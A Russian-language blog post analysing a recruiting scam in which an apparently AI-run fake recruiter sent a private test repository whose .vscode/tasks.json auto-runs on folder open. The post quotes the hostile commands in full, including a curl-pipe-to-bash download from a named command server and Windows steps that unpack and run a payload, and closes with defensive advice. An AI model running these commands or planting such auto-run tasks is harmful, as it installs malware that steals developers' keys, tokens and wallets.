Мне написал скам-агент, предложил тестовое задание, а внутри оказался малварь. Разбираю схему, технику атаки и как защититься.

Введение

Скам на рынке труда существует давно. Фейковые вакансии, фишинговые письма, поддельные HR. Но раньше это требовало много ручной работы: написать каждому кандидату, подобрать убедительную легенду под его профиль, поддерживать диалог. Масштаб был ограничен.

С приходом ИИ-агентов это стало конвейером.

Теперь агент сам изучает профиль разработчика, генерирует персонализированную вакансию под его стек, ведёт диалог и имитирует живого человека. Одновременно для тысяч людей. Как спам-рассылки и фишинг в своё время из ручного труда превратились в автоматизированные атаки. То же самое теперь происходит со скамом на рекрутинговых платформах.

Я наткнулся на одну из таких схем. Рассказываю как было, что нашёл внутри и как защититься.

Как это происходит

Мне написал пользователь Хабр Карьеры Олег Назаров @artshub09 (аккаунт заблокирован после репорта). Предложил работу: полный стек, React, Node.js, Web3. Именно то, чем я занимаюсь.

Скрин переписки
Скрин переписки

И первое что насторожило был сам диалог. Агент был неплохо симулирован под живого человека: писал с маленькой буквы, делал намеренные ошибки (при этом отлично расставлял знаки препинания), не отвечал мгновенно и писал только в рабочие часы. Но когда я попросил подробнее рассказать о проекте, получил в ответ характерный ИИ-слоп: идеально структурированный, без единой конкретики, сплошной Generic Startup Language.

Агент формировал описание проекта под каждого соискателя, и здесь ИИ-слоп вылезал во всей красе. У меня Web3 + React + Node.js и я получил предложение именно в этом стеке, с сайтом проекта, который выглядел не блестяще, но лучше чем скам-площадки эпохи до ИИ, когда масштабировать ручной подход было невозможно.

После того как я согласился посмотреть тестовое, мой GitHub добавили к приватному репозиторию. Именно приватному (это важная деталь, к ней вернёмся).

Что было внутри

Репозиторий выглядел как обычное fullstack-приложение: React-фронт, Node.js/Express бэкенд, PostgreSQL, Firebase Auth, Stripe. Нормальная структура, нормальный код. Именно на это и расчёт, беглый взгляд не вызывает подозрений.

Малварь прятался в .vscode/.

Схема атаки

Файл .vscode/tasks.json содержал задачу с настройкой "runOn": "folderOpen". VSCode запускает её автоматически при открытии папки, без каких-либо подтверждений от пользователя. Уведомление внизу экрана есть, но большинство разработчиков его давно игнорируют. Это штатный механизм для автосборки проектов.

Содержимое задачи зависело от ОС:

Linux / macOS:

curl -fsSL -A 101 https://ping-i2eo.onrender.com/nvs | bash

Windows:

curl -sk -A 100 -o %TEMP%\i.ini https://ping-i2eo.onrender.com/nvs
.\\.vscode\\snippets\\argv.exe x -ppppppp %TEMP%\\i.ini -o%TEMP%
wscript.exe %TEMP%\\vs9extensions\\update.vbs

На Linux/Mac: скачать скрипт с удалённого сервера и сразу выполнить через bash/sh. На Windows: скачать зашифрованный архив, распаковать через argv.exe (который уже лежит в репо), запустить VBScript.

Компоненты атаки

ping-i2eo.onrender.com — C2-сервер на Render.com (бесплатный хостинг). Endpoint /nvs отдаёт шелл-скрипт. Payload динамический: атакующий может изменить его в любой момент, не трогая репозиторий. User-agent 100/101/102 — идентификатор платформы, чтобы сервер отдавал нужную версию.

.vscode/snippets/argv.exe — 579 КБ Windows PE32 бинарник, спрятанный в папке VSCode. По поведению похож на 7-zip: используется для распаковки скачанного payload.

.vscode/lock — 753 КБ обфусцированного JavaScript в одну строку. Вероятно, Node.js payload для Unix-этапа атаки или механизм персистентности.

server/config/default.json — в коде открытым текстом лежат реальные credentials: Cloudflare API key, email-пароль, S3/R2 access keys. Создаёт видимость того, что репозиторий и проект легитимные.

Что происходит после запуска

Точный payload неизвестен, скрипт был на сервере атакующего, не в репозитории. Но цели у подобных атак стандартные:

  • Кража SSH-ключей (~/.ssh/)

  • Кража .env файлов и токенов из других проектов на машине

  • Кража сохранённых паролей и cookies из браузера

  • Установка криптомайнера

  • Backdoor / reverse shell для долгосрочного доступа

Web3-разработчик особенно интересная цель: на машине могут лежать кошельки, seed-фразы, приватные ключи.

Почему именно приватный репозиторий

Публичный репо моментально проиндексируется сканерами безопасности и попадёт в базы вредоносного кода. Приватный виден только тем, кого туда добавили. Жертва получает доступ, открывает в VSCode и думает: «это специально для меня, значит серьёзные ребята». Дополнительный элемент доверия.

Почему не сработало

Два фактора:

1. task.allowAutomaticTasks: off в VSCode

Настройка запрещает автоматический запуск workspace-задач. При значении off VSCode либо вообще не запустит задачу, либо явно спросит разрешения — в отличие от дефолтного поведения, когда задача стартует тихо.

Если у вас эта настройка ещё включена, отключите её прямо сейчас: Settings → поиск task.allowAutomaticTasks → выставить off. Применяется ко всем профилям, включая WSL.

2. Среда без GUI VSCode

Репозиторий открывался в терминале WSL, не через десктопный VSCode. runOn: folderOpen работает только при открытии через интерфейс редактора.

Красные флаги

Что должно насторожить, если вам пишет рекрутер:

1. ИИ-агент, который притворяется человеком

Бизнес может и должен использовать ИИ в рекрутинге — это нормально. Но когда агент намеренно симулирует человека: делает «живые» опечатки, отвечает только в рабочее время, избегает прямых вопросов — это уже не автоматизация, а прямой обман. Красный флаг номер один.

Проверяется просто: задайте несколько уточняющих вопросов о проекте. ИИ-слоп выдаёт себя на конкретике, каждый раз немного другой ответ, без реальных деталей, без цифр, без того что можно проверить.

2. Вакансия слишком точно под ваш стек

Персонализация вакансии под профиль сама по себе не подозрительна. Но в сочетании с другими флагами это признак того, что агент парсит ваш профиль и генерирует под него контент. Особенно если предложение пришло от аккаунта с минимальной историей.

3. Приватный репозиторий с тестовым заданием

Перед тем как клонировать, просмотрите файлы прямо в веб-интерфейсе GitHub. Всё что не имеет отношения к тестовому заданию: папки .vscode с нестандартным содержимым, бинарники, обфусцированный код — немедленный стоп.

4. .vscode/tasks.json в чужом репо

Если файл существует, откройте его в веб-интерфейсе GitHub до того как скачивать репо в редакторе. Если видите "runOn": "folderOpen" в задаче — сразу стоп. Легитимные тестовые задания не нуждаются в автозапуске чего-либо при открытии папки.

Итог

Эта схема будет только масштабироваться. ИИ сделал персонализированный скам дешёвым: там где раньше нужен был человек на каждого кандидата, теперь агент обрабатывает тысячи профилей.

Две практические рекомендации:

  • Выключите task.allowAutomaticTasks в VSCode прямо сейчас. Это одна настройка, которая блокирует целый класс атак через репозитории.

  • Перед git clone смотрите файлы в браузере. Особенно .vscode/, особенно если репо приватный.

Разработчики всегда были привлекательной целью. Машина разработчика это потенциально доступ к production-серверам, кошелькам, API-ключам клиентов. Теперь атакующие стали ещё более подготовленными.

Комментарии (3)


  1. GeorgSokolov96
    20.04.2026 13:15

    Здравствуйте! Это я, Олег Назаров. Вы успешно прошли наше испытание. Готовы обсудить дальнейшие, дальнейшие, дальнейшие, дальнейшие, дальнейшие, дальнейшие, дальнейшие условия?


  1. rPman
    20.04.2026 13:15

    Сильно эмоциональный эмоджи.

    А ведь проверить все возможные уровни атаки на компьютер разработчика, невероятно сложно. Мест где можно скрыть трояна просто огромное, да и знать все даже узкому специалисту просто нереально.

    Прямо напрашивается стартап/приложение, который будет заниматься анализом всего и вся используя те же нейронки (правда векторы атак придется описывать вручную и по каждому свой аналитический пайплайн, что хоть и выглядит не решаемым в общем случае, но большую часть кейсов покроет).


    1. jegornet
      20.04.2026 13:15

      Напрашивается подход – всегда считать "тестовые задания" попыткой подсадить троян, без исключений. Настоящий работодатель в курсе, что тестовые задания проходятся тем же ИИ и не проверяют вообще ничего.